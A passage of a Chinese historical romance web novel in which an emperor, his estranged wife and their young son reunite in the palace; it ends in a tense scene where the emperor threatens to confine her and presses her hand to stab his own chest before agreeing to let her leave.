画中的女子乌发檀唇,明艳娇俏,浸在滚滚草浪间,骑着一匹杂毛马,目光坚毅,朝远山奔去。 画师妙手丹青,技艺卓绝,寥寥几笔勾勒,竟能将女子骑马时的神态绘得栩栩如生,就连衣袂迎风翩跹的褶皱都画得分毫不差。 只消一眼,林蓉就能认出,这是她骑着芝麻夜逃的画面。 裴瓒当真有闲心,给儿子留下的书画,竟是二人闹得最不可开交的一夜……倘若裴嘉树知道,裴瓒也在画中,且手持箭矢,正打算猎杀他的母亲,也不知裴嘉树会是什么样的反应。 林蓉无奈地叹了一口气,决定将此事守口如瓶,不打破儿子对于“爹娘二人伉俪情深”的美好幻想。 裴嘉树给林蓉递去一个垫腰的迎枕,又给她端来香甜可口的点心、一盏清茶。 待林蓉坐稳妥了,裴嘉树把那些珠花首饰一样样摆到林蓉面前,供她挑选。 “阿娘有喜欢的簪子吗?玉奴攒了好久才收了几箱子。” 林蓉左摸摸、右看看,连声道:“阿娘都喜欢,多谢玉奴。” 裴嘉树雀跃拍手,一双乌溜溜的大眼睛里,满是对林蓉的孺慕。 林蓉看到那些堆积如山的金银珠宝,久久无言。 林蓉极难想象,一个五岁的孩子,是如何每日想念母亲,耐心为她攒下家私,一样样妥善地收进匣中。 这五年,林蓉即便记挂裴嘉树,也不敢时刻想起他,林蓉怕思念苦痛,会将她摧垮。 可连她这样坚强的大人都刻意遗忘儿子,不敢多尝相思之苦,裴嘉树却敢每天忍痛,日复一日记挂林蓉…… 小孩子什么都不懂。 小孩子只知道,若是连他都不记得娘亲,终有一日,娘亲会被所有人忘记。 夜里用饭,一家三口坐下用食。 凉州虽吃饼馕面食多,但裴瓒是南地人,还是偏好白米,一日三餐,定有一顿是寻常饭菜。 自此,裴嘉树自小口味便被养得杂,胡饼能吃半张,米饭也能来半碗,就是抱着羊肋啃,也能吃上三四根。 林蓉不知裴嘉树的脾胃如何,想给他夹菜都无从下手。 “玉奴,你爱吃什么?可有忌口?” 没等裴嘉树说话,裴瓒倒撩起衣袖,为母子二人添菜。 “小子皮实,并无太多忌口,就是馋嘴好吃,得谨防他吃撑闹肚子。” 裴嘉树被父亲说得脸红,他轻咳一声,把最大一块烤羊肉夹到林蓉碗里。 “阿娘,你多吃肉,长高一些。” 裴嘉树也不知道林蓉喜欢吃什么,但裴瓒总会把荤菜夹到他的碗中,哄他多吃一点,身子骨更加壮实。那他既想娘亲吃好喝好,自然就要把最好的荤菜全夹到林蓉的碗中。 吃完了饭,裴嘉树擦脸洁牙,又跟着冯叔回殿中沐浴换衣。 小孩穿好了簇新的中衣,披了一件委地的狐氅便来找林蓉玩。 裴嘉树许久不见林蓉,粘她得紧,生怕一个错眼,林蓉又要不见踪迹。 他拉住林蓉的手,忸怩一阵,羞赧问她:“阿娘……我能不能和你睡?” 裴嘉树没见过旁人家的父母亲如何生活,在他印象里,他一直跟着爹爹入睡,如今想跟着娘亲睡,自然要舍下裴瓒。 林蓉低头,看着儿子满心期待的一张小脸,伸手捏了捏他肉乎乎的脸颊,笑说:“好啊!玉奴晚上睡觉不踢人吧?” 裴嘉树忙道:“不踢!爹爹都说我睡相好,踢不着他!” 此言一出,林蓉有些惊讶:“你晚上还和爹爹睡呀?” 她从前在裴府当下人的时候,见过内院的下人伺候府上小少爷,哥儿入睡,大多都是奶娘、婆子作陪,鲜少让主子操心。 就连各房夫人都鲜少陪着儿子入睡,更别说那些成日外出应酬赴宴的老爷们了。 裴嘉树点头:“每天晚上,我都来爹爹的福宁殿入睡,很少自己睡寝殿。” 林蓉想了一会儿,笑道:“那阿娘今晚陪你睡寝殿去。” 没等林蓉牵走儿子,殿门大开,远远行来一道冷冽的身影,男人玉簪绾发,青色衣袍迎着雪浪翻飞,竟是同样洗漱换衣的裴瓒。 裴瓒渐行渐近,看了他们母子一眼,心中了然。 这是要去东宫休息。 裴瓒走向裴嘉树,立于小孩身后,趁着林蓉不注意的时刻,轻踹一脚。 裴嘉树身子一抖,反应过来:“阿娘,玉奴没爹爹陪睡……有点睡不着。” 林蓉没看到父子二人的小动作,但她想着裴瓒夜里睡觉太过缠人,非要搂腰,将她紧紧困在怀中。林蓉睡得腰肢酸麻,不想和裴瓒挤在一张床榻上。今日借裴嘉树之故,能暂时避开裴瓒,再好不过。 林蓉笑眯眯地逗弄儿子:“玉奴是要和阿娘睡,还是和爹爹睡?” 此言一出,裴嘉树仿佛遇到了极大的难题,他看了看眉眼冷淡的父亲,又看了看神色温和的母亲,犹豫不决。 ……爹爹天天能睡到,阿娘却不一定。 思来想去,裴嘉树还是悄悄牵住了林蓉的手:“当然,阿娘想和玉奴两个人睡,玉奴也可以试试。” 怎料,话语刚落,裴嘉树忽然没站稳,一个趔趄,扑进了母亲怀里。 林蓉急忙扶稳小孩,担忧地问他:“怎么了?” “没事……” 裴嘉树挨了一脚,疼倒不疼,只以为自己“背弃”亲爹,让裴瓒发了好大的火。 裴瓒看着妻子忧心忡忡的模样,温声安慰:“儿子多年没母亲教养关照,身子骨弱,走路不顺当实在常事。” 听完,林蓉哑口无言,心中生出一丝愧怍,怜爱地揉揉裴嘉树的脑袋。 但裴嘉树听完,却猛地回头,看了一眼自家的亲爹:咦?前些日子爹爹不是还说他抱起来太重,壮得像头小牛么?他究竟哪里身子骨瘦弱了?? 即便林蓉不让裴瓒陪睡,待进了寝殿,男人还是神色自若地跟了进来。 东宫寝殿忽然多了这么多主子,宫人们半点不敢怠慢,忙取出厚实宽大的被褥,烧好地龙,将博山炉燃上安神香。 林蓉怕儿子滚下榻,将他揉巴揉巴,塞进床榻最里侧。 没等她拍松锦被,裴瓒已然落座,占据了床榻的最外侧。 裴瓒硬要粘着她睡,林蓉也不好多说什么,只能挪到中间,腾出一个床位,供男人躺下休息。 这一夜,裴嘉树在爹娘的陪伴之下睡觉,没一会儿就陷入梦乡。 林蓉知道裴瓒有分寸,不会在儿子面前做些什么,也就不管他如何揽腰,径自翻身入睡。 待妻儿都睡熟了,裴瓒方才于一片混沌的黑暗中,睁开那一双狭长凤眼。 裴瓒轻侧过身,单手撑头,长指轻轻挪至林蓉的肩颈,摩挲皮肉,仔细感受她薄皮底下震颤的脉搏。 林蓉睡得很沉,浓长眼睫卷翘,随着呼吸一颤一颤,倾泻入殿的月光照出林蓉羊脂一般油润的雪肤,她的衣襟稍松,隐约能看到肩头早已淡化的燎疤。 裴瓒用指尖勾勒林蓉的眉眼,不知想到了什么,又低头,在她的颈后落了一吻。 他没有闹醒林蓉,只是静静看了许久。 林蓉的体温滚沸,呼吸绵长,脉搏有力……并非冰冷的尸体。 她还活着,她安然无恙,她没有与裴瓒阴阳相隔。 今夜种种,不再是梦。 在这一刻,缠在裴瓒胸腔多年的隐痛终于散去。 他渐渐活了过来,生出一丝安心之感。 裴瓒拥紧了林蓉,他将她锁在怀中,囚在遒劲臂骨。 这一次,他不会再松开手。 作者有话说: 之后无论写什么,都别担心,蓉儿不会舍下玉奴,但是裴瓒的追妻还要一点,不过也是最后一条线了,一月前肯定完结了,大家再耐心等等~ 一个资料,之后有用的,大家看了熟悉一眼就行。资料参考自《历史的正面与侧面》:“乾隆即位之初,励精图治,聚精会神处理国务,没有功夫游山玩水。直到乾隆十六年(1751年),天下基本大治,乾隆才开始效仿他的祖父康熙,进行了第一次南巡,六年之后,他又进行了第二次南巡。” 在天下太平的时候,皇帝有时也会外出巡狩,游历,体察民情,并不是一直待在宫中。 第62章 翌日, 窗外雪光大亮,天色明媚。 院中移植的几枝野梅树开了花,枝桠漏进琉璃窗, 打下一地黯淡花影。 林蓉睡饱了,想起身给裴嘉树煮个早食, 刚一拧身, 却觉腰肢酸软, 竟有一只遒劲结实的臂骨横在腰侧, 搂了她一夜。 林蓉扭头望去,和睡醒的裴瓒对上了眼。 男人不知醒了多久,但看他乌发半绾, 衣襟齐整,分明是洗漱过又躺回了榻上。 林蓉的脑袋困倦, 小声问:“大少爷不必上朝么?” 裴瓒搂住她, 啄吻了一下林蓉的颊侧, 低语:“一月不过三次朝会, 平时批复奏章文书即可, 不必日日上朝。” 林蓉知道裴瓒并不会懈怠国事, 他既如此轻省, 可见西魏国泰民安,天下大治, 没什么乱象发生。 林蓉搡开裴瓒的手,又看了一眼抱着软枕睡得正香的小孩。 裴嘉树的睡相果真不错, 并未满床打滚,只卷着自己的小被子团成一个球。 林蓉微微一笑,低头亲了下儿子的脸,又起身翻动衣橱, 给他备好了今日要穿的衫袍、罗袜、大氅。 宫人们都知道裴瓒不喜人随侍,并不会贸然入内打扰,等林蓉走出寝殿,方有侍女送热水、递巾栉。 林蓉洗漱完,又有嬷嬷毕恭毕敬奉上新裁的兔毛袄裙,还有梳妆丫鬟殷勤地帮林蓉上妆梳发。 林蓉还打算亲自下厨给裴嘉树煮饭食,不愿梳太过繁复的发髻。 她随意拧了个乌髻,推拒了那些婆子递来的华贵发簪,只选了一支儿子送的蝴蝶银簪戴在头上。 林蓉打理齐整,转过头,却见裴瓒早已起身,端坐一侧锦桌,捻茶慢饮。 裴瓒即便称帝,也并未日日穿戴龙纹形制的常服,反倒是如从前那般,挑拣些云纹鹤纹的圆领衫袍上身。 眼下他身穿一袭竹篁绿圆领袍,中衣的雪色襟口压着那一枚嶙峋喉结,隐在暗香拂拂的内殿,倒真有几分蛊人的清俊英朗。 林蓉不知裴瓒在后头看了多久,她想了想,问:“大少爷,膳房在何处?” 裴瓒扬了下眉峰:“你想下厨?” 林蓉点头:“想给玉奴煮点面汤,再蒸几碟糕。” 宫中御厨厨艺好,能耐大,她也不知裴嘉树的脾胃有没有被御厨养得刁钻,但她身为母亲,还是想关怀儿子,做些力所能及的事。 “我陪你一道儿去。”裴瓒虽不想林蓉太过操劳,可他也乐得看母子融洽相处,仿佛如此,林蓉就在宫中生了根,她有了记挂,便不会舍下他们父子二人。 林蓉要亲自下厨,宫人们知晓她的身份,自不敢让皇后娘娘亲自动手。 可裴瓒在旁看顾,命人悉数退下,奴仆们也只能战战兢兢地离开膳房。 林蓉煮面,裴瓒竟也撩袍坐到灶膛前,帮忙递柴烧火。 林蓉怕自己厨艺不好,煮的饭食不合裴嘉树的口味。 林蓉不会逼着裴嘉树只吃她煮的鸡汤面,锅里还熬着红枣蚌珠米粥,笼屉里也蒸着赤豆馒头,等裴嘉树睡醒,爱吃哪样吃哪样便是。 林蓉揉了面,用湿布盖着,等着醒发。 她又下手利落地剁了半只鸡,添酱翻炒,加水炖煮,只待水沸开锅。 林蓉干活麻利,手脚勤快,姣好的侧颜隐在袅袅升腾的热气里,远远望去,竟有几分难言的温馨之感。 裴瓒并非十指不沾阳春水的高门权贵,此前也是从小官小吏一路爬上去的武将。 那时在外行军,条件艰苦,常需裴瓒猎物添餐,或是篝火烤羊。不过烧灶煮饭,于裴瓒而言,实在是一桩简单的小事。 裴瓒看着林蓉忙上忙下,不免轻叹一声:“这等小事,何须你亲自动手,吩咐御厨一声便是。” 林蓉听了,笑道:“过几日兴许就没机会了,能煮一顿是一顿吧。” 林蓉不过随口一说,裴瓒却听出了一点端倪。 男人凤眸中的笑意淡去,微微阖目,露出一丝寒戾。 他问:“你要丢下玉奴?” 林蓉顿了顿,低喃:“我不会丢下玉奴……” 裴瓒薄唇紧抿,良久无言。 原本平静无波的心绪,顿时被林蓉随口说出的一句话轻易搅乱,犹如酸梅汁子灌喉,心口宛如冷刃剔肉,泛起涩然痛意,令人无所适从。 裴瓒并不愚钝,他能听出林蓉话中深意。 林蓉不会舍下玉奴,但她从来不在意裴瓒。 无论多少次,她都能轻而易举舍弃他,不会有半点留恋与犹豫。 裴瓒没有多问,亦没有揭穿这一层平和的假象。 许是膳房里的气氛太过凝重沉闷,林蓉难得看了裴瓒一眼,柔声问他:“大少爷,你吃面吗?若是吃,我多擀一些。” “吃。”裴瓒淡道一句,起身替过林蓉,帮她揉面。 半个时辰后,裴嘉树睡醒起床。 小郎君洗漱穿衣,快步跑进饭厅。 待他看到母亲仍在宫中,心里欢喜不已,忙扑到林蓉膝上,大声喊“阿娘”。 林蓉搂住儿子,低头亲了亲他的脸颊,“快点坐下用膳,阿娘和爹爹给你煮了汤面,你尝尝合不合口味,要是吃不惯,那就多喝点米粥,吃些馒头,别饿着。” 裴嘉树被林蓉搂进怀里,亲昵地亲了亲脸,他耳朵微红,又看到桌上摆了三碗面,更是欢欣雀跃。 裴嘉树踩上高凳,执着筷子吃面。 一想到这是阿娘早起下厨给他煮的面,小孩的嘴角翘起,怎样都压不下去。 裴嘉树不但吃完了面,就连鸡汤也喝个精光。 好在裴瓒一直观察儿子的饭量,在他还要掰一个羊肉小包子塞进嘴里的时候,冷声制止了儿子:“当心积食。” 裴嘉树打了个饱嗝儿,讪讪放下包子。 下午的时候,裴瓒收到龟兹国蒙提国王送来的战报,藩属国的斥候队伍外出查探,竟发现北戎招募兵马,联合诸胡部落,意图北侵西域。 北戎大军压境,战事迫在眉睫。 而西域位于襟喉之地,不可落入北戎手中。 倘若西域沦陷,那些茹毛饮血的戎狄便能长驱直入,肆意滋扰凉州边境,霸占那些塞外用于培育军马的草场、山谷、盆地,亦会损伤裴瓒手下操练的精锐骑营。 倘若裴瓒为了保存兵力,对西域御戎一战置之不理,那么那些归顺西魏的西域藩属国,定会为了求生,倒戈北戎,甚至被迫参战,壮大北戎的军队,一齐攻向凉州。 届时,北戎大军以战养战,有了西域诸国的支持,粮草辎重不成问题,便能与西魏持久鏖战……其后果不堪设想。 大军压境,裴瓒只能先北戎一步,领兵御敌,将西域诸国牢牢把持掌心,设为魏军后方,以便供应、运输粮草。 此时挑起西域胡民对于凶残戎狄的愤恨,伺机招募胡族壮丁,扩张魏军兵马,以夷制夷,不但能减少魏军的伤亡,还能获得西域民心,使得归附国愈发忠于西魏,自此胡魏一心,一致对外,便能御敌制胜。 裴瓒有战事需要筹谋,他并未多陪林蓉,径自上政事堂,召人议事去了。 裴嘉树下午还要听张太傅授课,不能多陪林蓉,但他舍不得母亲,眼珠子骨碌碌一转,拉着林蓉出门。 “阿娘就在旁边听我背书吧?阿娘在东宫人生地不熟,还是跟着我比较好。” 裴嘉树给自己想了个理由,高兴地牵走林蓉。 裴嘉树背书,林蓉含笑旁听,母慈子孝,本是很好的事,奈何张太傅见裴嘉树待林蓉一脸孺慕,竟心生不满。 张太傅并不知道林蓉的真实身份,只当她是哪位得宠的后宫美人,而皇太子自小失恃,便将此女当成了生母一般敬爱……偏偏张家有入主后宫之心,亲女尚未得手,怎能让其他美人捷足先登? 张太傅皱了皱眉,冷道:“储君读书明理,怎能有无知妇人从旁照看?没的乱了体统!” 若是从前,裴嘉树定不会忤逆张太傅。 可今天,张太傅指桑骂槐,骂的是他亲娘,那他心里就老大不乐意了。 平时看起来软乎乎的小团子,今日竟绷着一张脸,皱着眉头,稚气辩驳:“太傅此言差矣,若说逾矩,那张家小姐欲亲手喂孤吃糕,可有毒杀皇嗣之嫌?东宫重地,她虽为太傅亲女,到底也是臣子家中女眷,如何能在宫闱里肆意行走?她的做派这般孟浪轻浮,其中可有太傅的授意?孤实在不明,还请太傅解惑。” 裴嘉树虽不懂很多朝堂、人际的门道,但他聪慧伶俐,凡事一点既透,这些巧舌如簧的大官话,也都是裴瓒私下教给儿子的。 裴瓒看似严苛,实则心里最为护短,他教给裴嘉树的处世之道,第一桩便是:纵有错,也别认,认了要领罚,先四两拨千斤泼上污水,拉人泥潭乱斗,士气不能输。待战后,反思己过,有则改之无则加勉。 总之,裴嘉树可以心里认错,但他不能领旁人的责骂与惩处。 裴瓒辛辛苦苦打下国基,问鼎天下,不是为了让自家孩子在朝臣跟前受管教当孙子的。他家的孩子,他自己会教。 裴嘉树虽说话稚气,但句句占理。 张太傅气得脸颊涨红,半晌说不出一句话。 他其实也欺太子年幼,又乖巧懂事,尊师重道,这才心存僭越之想,命亲女先一步拿下裴嘉树,再伺机亲近皇帝。 如今他的那点小心思,竟被一个五岁孩童点出……此事怕是已经传到了那个杀伐果决的皇帝裴瓒耳中。 张太傅见过裴瓒杀人的血腥情形,不敢再犯。 老太傅一声不吭,落了下乘。 林蓉知道再闹下去,会让师生二人不和,生出嫌隙。 她摸了摸裴嘉树的脸,小声道:“阿娘回去布膳,你读完书就来用晚膳。” 裴嘉树依依不舍地望着娘亲,但他没有阻拦,点头应是。 林蓉同张太傅行了礼,转身就走了。 如此一来,算是全了老太傅的颜面,这堂课也能继续授下去。 内书堂发生的事,自有亲卫事无巨细统统禀报给裴瓒。 裴瓒刚忙完军务政事,搁下批文朱笔,轻蹙眉心。 他想到张家近日上蹿下跳的行径,不免轻笑:“张家以为待太子有师恩,便成了东宫一党,打起了新君的主意。倒是有趣,朕时值壮年,正是春秋鼎盛,张氏一族竟也敢拉帮结派,勾结朋党,将手伸得那样长……” 本以为张太傅不过文臣,又是裴嘉树亲近的师长,即便他暗下结党营私,亦掀不起风浪。 水至清则无鱼,裴瓒为君,深知人心复杂,小事上亦会给能臣一个体面,不会赶尽杀绝。 可张氏心思太重,竟干涉起裴瓒的后宫私事……那裴瓒便不得不出手了。 无非是倾覆一个世家,给裴嘉树换一个教书先生,对于裴瓒而已,堪称易如反掌。 裴瓒微微眯眸,咽下一口清茶。 这些年他仁政治国,鲜少见血,倒让人以为他好性儿,手段不再阴毒锋锐。 这样可不好。 裴瓒既要朝臣敬爱他,亦要官吏畏惧他,如此方能斩断底下人阳奉阴违的歹心,防止一些尸位素餐的佞臣胆肥,打起专擅揽权的邪心。 思及至此,裴瓒又下了一道密令,命工部尚书严石帆,暗下彻查张家长子在担任渝州巡抚一职时,利用职权之便,贪墨水涝灾银一案。 此前念及张家初次办事,无非拿些银钱疏通地方,裴瓒便也睁一只眼闭一只眼。 偏张太傅心大,非要当个出头鸟,那裴瓒得了机会,自然要杀鸡儆猴,以儆效尤。 裴瓒筹备兵马的阵仗很大,林蓉自然也听到了一些风声。 这些时日,她每天陪伴裴嘉树,母子两人一齐看话本,窝在灶膛前煨芋、烤黄泥烧鸡、熬煮红糖鸡蛋汤…… 日子清闲愉快,但林蓉偶尔也会想到塞外的生活。 虽然她在龟兹国生活的时候,每日天刚亮就要爬起来赶集行商,偶尔还要随商队远行,在外风餐露宿……有时挣了钱,她会大方一回,给芝麻买胡萝卜、好吃的草料,给大黄添一碗肉汤、送几根羊肋骨;有时隆冬天,物资匮乏,没生意可做,林蓉手头紧巴巴的,她不能给家畜添餐,但屋里烤了火,她会裹着毛毯,再赶大黄、芝麻一块儿进屋里取暖。 倘若林蓉留在宫里,她定不能再那样自由自在地生活……即便将大黄、芝麻都带到皇宫,也无非是多囚了两个朋友。 林蓉抱紧了裴嘉树,她靠在儿子肩头,小声问他:“如果阿娘不在宫里生活,玉奴会生气吗?” 裴嘉树闻言,呆了呆。 他咬了一口林蓉烤好的毛芋,挨着娘亲,仔细思考林蓉说出的话。 裴嘉树想到自己平时读书上课,阿娘无所事事,只能坐在庭院里发呆。 每次等他回到东宫,喊一声娘亲,林蓉才会活过来一般,朝他走来,对他绽开笑容。 那时候呆坐庭中的娘亲……看起来就像是一棵抽干了生气的枯树。 《晏子春秋》有言:“橘生淮南则为橘,生于淮北则为枳。” 橘树长在南地,便是甘甜的蜜橘,而移植到北地,便成了苦涩的枳果。本意是指各地水土不同,养出的人品行也各不相同。 但南橘北枳一词,用在林蓉身上,亦能说明其内意的深刻。 裴嘉树从阿娘的怀中坐起,认真地问:“阿娘如果在宫外生活,也会记挂玉奴,时常来看望玉奴吗?” 林蓉温柔地捏了捏儿子的脸:“当然,如果你爹爹愿意,你也能每年来阿娘这里住几个月,阿娘不会离开的,阿娘会一直待在咱们玉奴能找得到的地方。” 裴嘉树想了想,也笑了下:“我希望阿娘每天都能开心。” 他本来还想说什么,可绞尽脑汁想了许久,最终还是重复了一遍:“我希望阿娘能过上好日子。” 裴嘉树不知道林蓉为何要生活在宫外,他觉得一家三口每日同吃同住也很好,但林蓉执意如此,裴嘉树也不会阻拦。 他不想看到愁眉不展的林蓉,他希望林蓉能天天笑着。 反正林蓉不会丢下他,他也再不会失去母亲。 林蓉听到小孩口中的那句真挚祝福,她忽然心神恍惚,在这一刻,林蓉想起很久很久以前的事。 那时候,她攒了多年的钱财,终于凑足了赎身银,逃出裴府,不再为奴为婢。 她站在囚笼外,而旧友站在囚笼里。 绿珠姐姐看着林蓉,真心为她感到高兴。 她笑着对林蓉道:“蓉儿,要过上好日子啊。” …… 多年过去,林蓉浑身战栗,她抱住乖巧的儿子,亲了亲裴嘉树的额头。 “阿娘在外面还有其他朋友,一匹不算漂亮但很聪明的马驹,一只胆小如鼠但很护主的大黄狗……等阿娘安顿好它们就来接玉奴,若你爹爹同意,玉奴就跟着阿娘生活一段时日,可好?” 大漠风沙,险峻戈壁,骆驼商队……林蓉说的故事太过鲜活,引得裴嘉树神往。 小孩一脸崇拜地仰望母亲,他连连点头:“我也想跟阿娘出门……阿娘放心,玉奴可能吃苦了。三天不吃肉都可以的!要是玉奴吃得太多,那就每天只吃一个芋头!” 林蓉哄睡裴嘉树后,半夜收拾起回家的行囊。 已是丑时,裴瓒回寝殿时,远远看到殿内仍燃着昏昏的烛灯。 裴瓒不免蹙眉:玉奴还未睡? 想了想,又觉得不可能。 那便是林蓉未睡…… 这一幕人间烟火,突然和多年前的一幕重合。 那时,裴瓒战场杀敌,浑身浴血,他骑着墨羽,疲乏回帐,远远看到了军帐亮起的烛光。 一瞬间,裴瓒变得怔忪,他勒马停步,看了许久。 从未有人等他回家。 这是第一次。 男人的冷硬的心脏冰裂,溢出了一点暖意。 裴瓒意识到……林蓉在家中等他。 裴瓒拧起的眉峰舒缓,他朝前行去。 东宫的殿门推开,他看到一道女子窈窕纤细的背影。 林蓉听到响动,偏了偏头,她看到长身玉立的裴瓒,朝他一笑。 林蓉放下收拾一半的包袱,做了个噤声的手势,悄悄拉着裴瓒出门。 林蓉有话对裴瓒说,又不想吵醒儿子,只能牵着裴瓒,走向廊庑尽头的暖阁。 殿外雪声簌簌,空无一人。 唯有他们二人一前一后,朝前孤独行走。 妻子白皙如玉的柔荑,代替了旧日那一串菩提念珠,扣在裴瓒的腕骨,他微微阖目,任林蓉牵着他渐行渐远。 裴瓒意识到,这是林蓉第一次主动馈赠,她从来任他予取予求,竟有一日,林蓉朝他伸出了手…… 林蓉拉着裴瓒来到暖阁,她合上房门,又取烧火棍挑了挑炭盆里将熄未熄的银炭。 屋内顷刻间变得暖和,林蓉仰头望向裴瓒。 “大少爷,我有话和你说。” 裴瓒淡淡嗯了一声。 林蓉斟酌言辞,同裴瓒解释:“我已经和玉奴说了,我会收拾行囊,回到西域。近日龟兹国不太平,我回去以后会观望一下战情,若是战火会波及主城,我就带着大黄、芝麻他们往疏勒国跑……” 疏勒国是西魏的藩属国,离凉州很近,又远离龟兹国,很合适林蓉避身定居。 她已经让杨峰帮忙照看家禽家畜十多日,不能再继续麻烦旧友,总得回家接手这些琐事。 可裴瓒的性情阴沉,远不及裴嘉树一个小人儿豁达开明。 听闻妻子要走的话,他的心火涌动,竟难以忍受。 高大峻拔的男人欺近一步,黑影如山笼罩,将林蓉困在其中。 他伸出冷硬的长指,死死擒住林蓉的手腕,冷不丁将她圈进怀中。 裴瓒低头,那双深秀冷目凝视林蓉,试图在她口中听到旁的话语。 偏偏林蓉被裴瓒的动作惊到,一时之间竟忘记挣扎。 裴瓒拥抱林蓉的力道很紧,油润细长的墨发流泻,水帘一般满覆林蓉的肩背。 他用尽全力将林蓉纳入怀抱,恨不得将她塞进胸膛,融入骨血,可无论裴瓒如何覆没林蓉,林蓉仍是不为所动,她心明如镜,她高高在上,她不会被邪祟玷污,不会被阴邪吞没。 裴瓒不知该如何拥有她。 “为何非要走?林蓉,你已舍下我五年,你应当陪我一生一世,你不能生出逃心!” 裴瓒腹中烧着燥火,暴虐的杀心攀至顶峰。他的眸光晦暗,幽幽盯着林蓉,仿佛要将她拆吃入腹,吞噬肚中。 裴瓒原以为,利用裴嘉树便能激起林蓉的母性,便能将她囚在身边。 可裴嘉树愚钝,他竟也愿意放手,令裴瓒的筹码毁于一旦。 裴瓒输得彻底,他没什么可以留住林蓉的东西…… 林蓉记挂所有亲朋好友,就连家畜她也耐心照料,唯有裴瓒是被林蓉舍弃之物。 唯有他爱而不得! “我该囚住你,该困住你,该斩断你的手脚,该将你缚于屋中……林蓉,你待所有人都仁善,唯独待我一个残忍!” 林蓉听出裴瓒的肃杀之意,她的后脊战栗发怵,她被裴瓒抱在怀中,她被成千上万的锁链束缚,身陷囹圄。 林蓉又一次跌入泥泞的深潭。 那种被毒汁蛛网拢住的窒闷感愈发强烈,她几乎要透不过气。 林蓉双目僵直,仿佛一根腐朽的死木。 她任裴瓒占有,她无动于衷。 裴瓒从林蓉凄怆的反应中,确认了一件令他肝肠寸断的恶事。 裴瓒不免眸光幽冷,语气森然:“林蓉……你厌我?这么多年,你一直恨我是吗?若你心里存气,大可取刀剑伤我!” 裴瓒似是寻到了破局之法,他单手抽出蹀躞带上的匕首。 噌的一声,清越刃吟响彻屋舍。 一把削铁如泥的冷刃就此横陈于林蓉掌心。 裴瓒双目赤红,他一手擒住林蓉的细指,教她握紧那一把匕首。 裴瓒疯魔地攥住林蓉,逼她持着那把嗜血利刃,狠狠剜向他的心口。 冷锐的刀锋向前,气势凶悍,直指裴瓒心腑。 是恶鬼授道,妖言惑众,他在逼菩萨杀生。 裴瓒没有给林蓉犹豫的时间,他用力将那把刀尖压进胸口。 一抹血迹洇出,男人身上的青色长袍瞬间绽开了红梅。 血腥味骤然浓烈,血浆爆开,溅上林蓉的雪白下颌,血味散在室内。 馥郁的檀香混淆着醇烈的腥气,氤氲屋舍,钻进林蓉的口鼻。 她低头,痴痴看着那一把渐渐没入胸膛的匕首。 她竭力止住攻势,不敢让整把匕首都刺进男人的躯膛。 林蓉无力抵抗,只能眼睁睁看着裴瓒自残。 看着林蓉不忍的神情,裴瓒竟觉出一丝快意。 他莫名轻笑一声,低头吻了下林蓉的嘴角。 林蓉仍在怔忪,就此裴瓒轻易撬开了她的齿关,挤进她唇舌嫩腔。 他汲取林蓉甘甜的唾津,与她不死不休地纠缠。 情念与渴欲交织,畅快与痛意混淆。 林蓉被吻得溃不成军,一面要收着手中力道,避免裴瓒这个疯子压向锋锐利刃,一面要仰头承吻,偷得一瞬喘息的余地。 在林蓉的口中,裴瓒尝出了令人颤栗的鲜血,他觉不出痛感,只想溺死在林蓉的吻里。 待他吃得餍足,终是凉凉一笑,诱惑林蓉。 “不敢杀生么?断去一手、一臂足够吗?林蓉,我把债还你,我不会躲……试试看么?杀生亦很畅快,兴许你会喜欢。” 这是裴瓒喜爱的事,他既要拉佛陀菩萨入魔,自要教她如何得趣。 林蓉咬住下唇,她不敢苟同。 林蓉仍麻木地持着那一把匕首,她的手脚渐渐无力。 可林蓉的发簪已被裴瓒信手拆下,那一头乌发散落,蜿蜒双肩。 裴瓒再次覆来,他松开了女孩不盈一握的腰肢,只单手扣住她的后脑勺。 林蓉的青丝倾下,满溢裴瓒的指缝,被他温柔地挟在指尖。 裴瓒任林蓉行刺,他视死如归,只知低头索吻。 死了好啊。 死在林蓉手中,她这样善心肠的人,定会记他一辈子。 裴瓒寻到了出路。 他阴冷地诱她:“林蓉,若你想……便杀了我吧。” 裴瓒还在索求,他的凤眸淬如艳火,话语低哑含欲。 林蓉看到满手的血腥,看着裴瓒不依不饶,执意要死在她的手上。 林蓉头痛欲裂,她终是拔出那柄匕首,抛掷一旁。 叮的一声锐响。 止住了裴瓒极尽缠绵的吻。 这是林蓉头一次听到裴瓒幽怨阴毒的话语,心中不生畏惧。 林蓉深深看了裴瓒一眼,莫名其妙伸出手,搂向男人。 林蓉投怀送抱,竟让裴瓒身子一僵,久不能动。 林蓉没有解释她为何这样做,她只是收拢双臂,慢慢搂紧了他。 林蓉依偎在裴瓒的胸膛,侧耳聆听他暴烈搏动的心跳,柔软的手掌抵在裴瓒的后腰,轻轻抚动男人挺拔的脊椎。 许是感受到林蓉的柔善,裴瓒气息微颤,凶悍的戾气渐消,抱人的力道也释缓了不少。 “裴瓒,我知你竭力护城,济世救民,你是个好皇帝,我希望你长命百岁,日子过得圆满。” “裴瓒,你不是一直问我,为何初次云雨,我会允你入内?在许多年前的除夕夜里,因你一句不要杀生,救下了我的性命。那一次云雨,是我欠你的,我已还给了你。你我因果报偿,恩怨两消。我对你不生厌恶,也不生憎恨……可你若阻我离开,我会恨你至死。” “裴瓒,你不必害怕。我不会舍下你、舍下玉奴,我无非是想过自己喜欢的生活,我想活在宫外。我不会悄无声息逃跑,你和玉奴亦能随时来探望我,我也会每年来皇宫小住,探望你们父子。” “裴瓒,不要困住我……” 这是林蓉第一次示弱,第一次对裴瓒敞开心扉。 她实在拿他没办法了,但她又意识到裴瓒并非洪水猛兽,只要用对方法,他亦极好对付。 裴瓒耐心听完林蓉的话,久久无言。 他的胸口受伤,仍在淌血,匕首刺破骨肉,渡来一阵剧痛。 但裴瓒被林蓉拥在怀中,他对伤势浑然不觉。 终于有一日,林蓉停下了脚步,她望向裴瓒。 林蓉的善心施与了裴瓒,她没有忍心杀他。 裴瓒记起被林蓉刺眼的那个北戎男人,他记起林蓉紧攥掌心的匕首…… 裴瓒想,他与外人到底还是有所不同。 裴瓒轻抚林蓉饱满樱唇,低头落吻,在粘稠含混的水声中,他与她道—— “我放你离开……我会送你回龟兹国,若是得空,我也会带着玉奴去见你,你若得闲,亦要回凉州见我。” “林蓉,你不能避我、厌我、惧我……” 裴瓒捧住林蓉的脸,血迹沾染她的耳廓,他垂眉敛目,逼她看他。 “林蓉,你要试着爱我。” 第63章 林蓉自己也记不清, 在裴瓒不容反抗的拥抱下,她究竟有没有应下一个“好”字。 林蓉只知裴瓒冷静下来,渐渐收了力气, 松开了她。 林蓉低头,凝视他染红的衣襟, 皱眉:“你流了好多血, 